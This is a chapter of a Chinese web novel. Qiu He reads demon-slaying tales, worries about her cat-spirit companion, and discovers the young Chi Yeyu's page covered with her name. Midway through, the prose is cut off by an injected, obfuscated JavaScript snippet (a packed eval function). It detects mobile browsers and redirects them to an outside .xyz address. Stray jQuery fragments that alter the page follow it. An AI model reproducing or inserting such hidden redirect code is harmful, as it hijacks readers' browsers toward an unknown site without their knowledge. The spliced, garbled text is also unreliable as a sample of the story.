秋荷记下这桩疑惑,等着有空的时候问问池夜雨。


    秋荷又耐心多翻了几个提到人血之类事物的妖怪故事,终于在一篇作者的亲身经历中找到了详细记述。


    故事内容简单俗套,充满既视感,大概就是村里总是有人上山后失踪,人心惶惶,这位行侠仗义的池姓作者游历此处,决心为民除害,经过各种调查,作者发现是山中蛇妖作怪,遂孤身前往妖怪洞,最终成功铲除蛇妖。


    作者详细记述了铲除过程,服食大量雄黄酒,佩戴艾草等等,使蛇妖不敢近身,然后就是蜡烛各种五花八门的用法,迫使蛇妖束手就擒。面对美貌妖物苦苦哀求,作者见其腮边泪滴如晨曦初露,心中动摇,难以抉择,好在最终道心坚定,不为所惑,手起刀落——


    秋荷脑海中冒出个模糊绰约的人影在利刃下哀哀哭泣,过了一会,模糊的影子演化成了她熟悉的身影,握着刀的人也变成了她熟悉的,她浑身一激灵,忧惧瞬间涌上心头。


    不至于,不至于,她安抚自己,池夜雨和秋喵喵不至于演变到这种地步。


    她盯着书上“道心坚定”四个字,看了良久,才继续往下读。


    秋荷通过书中屡屡出现的蜡烛推断此书的池姓作者大概是池夜雨的先辈,不得不说先辈在编纂此书时很有启发教育的思想,在一个或几个降妖除魔的故事结束后,总会有一小段的总结,分析妖怪习性,分析蜡烛用法,然后总结出共性。


    比如分析了鼠妖怕猫,蜈蚣精怕公鸡之后,作者总结得出妖怪虽然修炼出了灵智,与人无异,但仍然保留着原本的习性,面对天敌不自然的恐惧。


    铲除吃人蛇妖故事之后,作者照旧总结,分析了蛇妖吃人的原因,并非因为蛇有吃人的习性,而是因为人是天地之主,万物灵长,体内蕴含着自身所不能察觉的灵气,而这种灵气对于妖怪来说称得上是大补之物。


    动物修行不易,百年难得人身,得道更是不易,少不了千年磨炼,而吃人是一条微妙的捷径,鲜血淋漓,但行之有效。当然啦,作为万物灵长的人是不允许这种现象发生,每每此时,定有慷慨之士出手铲除妖邪。


    秋荷又皱眉翻找,又找到几条关于妖怪吃人的故事,故事下的总结大多数都是妖怪天性邪恶,违背天道,侠士为民除害替天行道的内容。


    书页过后,又是一则故事,讲的是心善的书生,没错,又是书生,在进京赶考的路上,没错,又是这条路上。


    书生遇到了一只身受重伤的狐狸,狐狸奄奄一息,即将饿死,书生心存不忍,割腕以血饲之,若干年后,书生在一地为官,遭歹人陷害,命悬一线之际,为一只狐妖出手相救,是狐妖为感念书生当初饲血之恩,书生也是个呆的,说当年割破手腕,只零零落落流了几滴血便止住了,几滴血怎么能救得了快要饿死的狐狸呢,疑心狐妖救错了人,狐妖则说人血之精妙,几滴便如甘露。


    之后故事向着奇怪的方向发展了,变成了书生执意要给狐妖喂血,狐妖执意不受的推杯换盏了。


    秋荷跳过中间,直接阅读结尾,结尾无非夸了夸好心眼的书生,说了一些善有善报劝人向善的话,又夸了夸知恩图报的狐妖,说什么妖亦有道。


    之后是作者的一段总结,作者分析了人血对于各种精怪的用处,而后批判了故事里书生主动献血的做法,这无异于羊入虎口,最后用一种严厉的语气告诫世人永远不要相信非我族类的妖邪有时一点悲悯之心就会让一个家庭毁于一旦,善良也是置人于死地的利刃——“妖邪终非我族,见其饮血而食心,诛之毋疑,勿留大患,切记切记。”


    秋荷盯着那几个字眼,又盯着熟睡的小猫,看了又看,她不太确定池夜雨是不是“道心坚定”,也不知道他会不会“诛之毋疑”,她只能不断告诉自己,喵喵又不会吃人,不要瞎担心。


    可她忍不住回想起池夜雨望向秋喵喵时的眼神,那双永远带笑的眼睛漠然无情,将“非我族类”几个字展示的淋漓尽致,毫无疑问,他不在乎小猫。


    那么当他面临抉择时,当他手握利刃时……


    秋荷不敢往下想了,她手背轻轻剐蹭小猫脸颊,她知道他肯定不会吃人的。


    书中除妖的故事让秋荷心情越来越沉重,她合上书,决心换一本,或者找找书架上有什么轻松点的读物。


    书架上没有什么轻松的读物,除去那些降妖除魔的记录,书架上还有一些极其晦涩难懂的文言文,其中反复出现的“龙骨”“气脉”等字眼看上去好像跟灵脉有点关联,秋荷颇为好奇的阅读,一无所获,其中充斥着无数个少见到连手机也搜索不出来的离奇生僻字,以及一些古怪到让人摸不着头脑的专属名词,秋荷看了半天,凭空生出一种做英语阅读的荒唐感。


    她放下那本晦涩的书,继续扫视书架,希望能从书名中分析出书的内容与阅读难易。


    一些色彩鲜艳的书跑进了秋荷眼底,它们夹杂在泛黄的旧书中,异常明丽,像是垂垂老矣老人堆里的嬉笑活泼的孩童,秋荷的手指划过书脊,最终停留在粉色的一本——《高中语文练习册——古诗词鉴赏》,这本应该没那么晦涩,至少都是能认得出来的简体字,出于某些奇怪的心理,可能是好奇高中时的池夜雨吧,她抬手,轻轻抽出了那本习题册。


    习题册封面上潦草的写着“池夜雨”三个字,秋荷端详良久,池夜雨的字迹华丽舒展,好像有意练过。


    秋荷好奇的翻阅习题集,在一道道古诗词鉴赏题下,池夜雨写得很认真,答得中规中矩,秋荷竭力回想,但一点也想不起池夜雨高中时语文水平如何。


    秋荷并没有太多耐心看这些题目与池夜雨的答案,草草翻过,在一页停留,她发现了一个不和谐的地方。


    池夜雨卷面干净,没有乱写乱画,唯有一首词下面的题目上,斜飞着两个字,还被刻意涂抹过。


    秋荷凑近,题目是赏析“似觉琼枝玉树相倚,暖日明霞光烂”,池夜雨的答案似乎没答到点上,没有写什么手法啊情感啊之类的分析,只写了句“作者想到了美好的人”。


    题干与答案之间的缝隙里有两个被涂成一团的字,秋荷好奇的辨认,左半边依稀看出“禾”的痕迹,右半边什么也看不出。


    秋荷没有在意这小小的杂乱字迹,又略略翻了几页,便将练习册重新放回去了。


    她对池夜雨的高中时代越发好奇起来,她关于他的印象实在很少,于是她又从书架上抽出一本书,这次是数学课本,秋荷随手翻了几页,一头雾水。


    数学课本没什么好看的,但里面夹着几张试卷,秋荷抽出那几张卷子,有一张惨不忍睹,秋荷不禁莞尔,似乎看见了池夜雨绞尽脑汁写出一个错误答案的模样。


    窗外一阵风吹过,吹散了屋内微微的闷热气息,也吹得秋荷膝上的课本翻动不止。


    风停下了,一页泛黄的草稿纸从课本的缝隙中掉落地上。


    池夜雨的整洁似乎也蔓延到了对草稿纸的使用上,整齐又干净的竖式,清晰标准的函数图像。


    秋荷弯腰捡起这张纸,随手将其重新夹进书页,眼睛轻轻一瞥,视线落在了这张草稿纸的反面,陡然一惊,手指一松,草稿纸又轻飘飘慢悠悠的落到了地上。


    秋荷盯着地面的草稿纸良久,有些不敢碰触,她疑心刚刚眼花了,她看到了一些,一些……


    她没想好怎么形容。


    她俯身拾起,那张草稿纸的背面再度呈在眼前——是池夜雨华丽舒展的字迹,“秋”右旁的“火”字两点写得灵动跳跃,“荷”最后一笔的竖钩潇洒快意,共同构成了她的名字。


    一笔一划,牵丝勾线,连绵不绝,在纸页上浮动着,这些留存于旧时光的字迹记录着若干年前少年指尖的提按顿挫,心间的千回百转。


    秋荷甚至注意到,在数不清的“秋荷”当中,池夜雨甚至画了一支小小荷花


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195366|177439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,荷花下是水波涟漪,涟漪下是那句不伦不类的对子——秋荷池夜雨。


    秋荷怔怔盯着,仿佛发现了什么知道了就会被灭口的秘密一般,心如擂鼓,手心的汗几乎濡湿了轻薄的纸张。


    她想她应该明白,为什么她的名字会出现在草稿纸的背面,为什么高中的池夜雨会一遍又一遍的书写她的名字……


    这很容易想明白。


    但秋荷又不明白,她的高中生涯分明是黯淡无光,无人在意的。


    她的视线垂落,纸面上重复百次的名字又是那么的显眼,汹涌着向她袭来,她几乎要认不出自己的名字了。


    她的心砰砰直跳,几乎要跳出胸口,跳得她一阵眩晕,阳光穿过纱窗,明晃晃地洒下,而她几乎什么也看不清。


    过了一会儿,或者很久,秋荷听到了说话声,池夜雨与冷凇的通话仍在继续,脚步声渐近,他往这边来了。


    秋荷惊慌失措,只是将草稿纸重新夹进书里的举动竟也让她手足无措。


    “啪”的一声,课本书脊朝下掉在地上,响声惊人,秋喵喵惊醒,一个轱辘从床上翻起来,刚走到门口的池夜雨也面露讶然。


    “书,书掉了。”秋荷匆忙捡起数学课本。


    池夜雨看到秋荷手里的书后小小惊讶了一下,全然没想到秋荷会看高中数学课本,他以为她会翻书架上那些故事书呢。


    他一边跟冷凇说着话,一边走到书架前,抽走了秋荷方才乱翻的那本文言古籍。


    “你当真要我一页一页的给你拍照发过去?”池夜雨对着古书的厚度皱眉,“起码五百页!”


    电话那头的冷凇不知道说了些什么,池夜雨最终抿着嘴唇答应了:“好吧,还有哪本书?我再找找看。”


    他又打着电话走远了。


    秋喵喵打了个哈欠,问秋荷:“你怎么了?”


    “什么怎么了?”


    “你怎么一幅惊魂未定的样子?”秋喵喵的视线挪到了秋荷手里的书,“你读到什么鬼故事了?”


    “没什么。”


    但小猫一伸手把数学课本捞走了,秋荷伸手去抢,小猫不许,两“人”争抢之际,那张草稿纸又晃晃悠悠飘落。


    秋喵喵一眼就认出了纸上的字,“秋荷”这两个字是他最先认识的两个汉字。


    “这是什么?”他举着那张纸上下打量,视线久久停留在那朵简笔荷花和“秋荷池夜雨”。


    “这不是池大哥以前上学的东西吗?”他问秋荷,“你当初也教他识字写字了吗?”


    他最初学字,就是先从“秋荷、秋喵喵、池夜雨”三个人名开始的,每个名字他都一笔一划写了好多遍。


    但秋荷摇头。


    “那池大哥为什么写这么多遍你的名字呢?”秋喵喵好奇。


    “……我,我不知道。”


    “真奇怪,”秋喵喵挠了挠下巴,“那我问问池大哥,他应该知道为什么。”


    “别!”


    “为什么啊?”


    “……这都多少年前的事了,没必要再提了。”秋荷想假装无事发生,心跳却随着纸上的字迹狂奔,都是从学生时代过来的,她当然明白草稿纸上密密麻麻的姓名意味着什么。


    但人总是在变,人的心意也总是再变,谁能说现在的自己还跟八九年前的幼稚学生一样呢。


    她从小猫手中抽走了那张草稿纸,细细看了最后几眼,默默翻开书,小心地重新夹在书页之中。


    数学课本被重新塞进书架,那张涂满姓名的草稿纸也再度沉入旧书堆,仿佛从来没有被发现过,唯独在秋荷心上,留下浅浅的怅然刻痕。


    真怪,她想,时空似乎会凭着薄薄一页草稿纸短暂交汇,八年后的她与八年前的池夜雨凭此举行了一场简短但异常热烈的会晤,她头晕目眩,不知所措,好在她不必回应八年前的呼唤,毕竟时间会抹平冲散那些炽热天真的东西。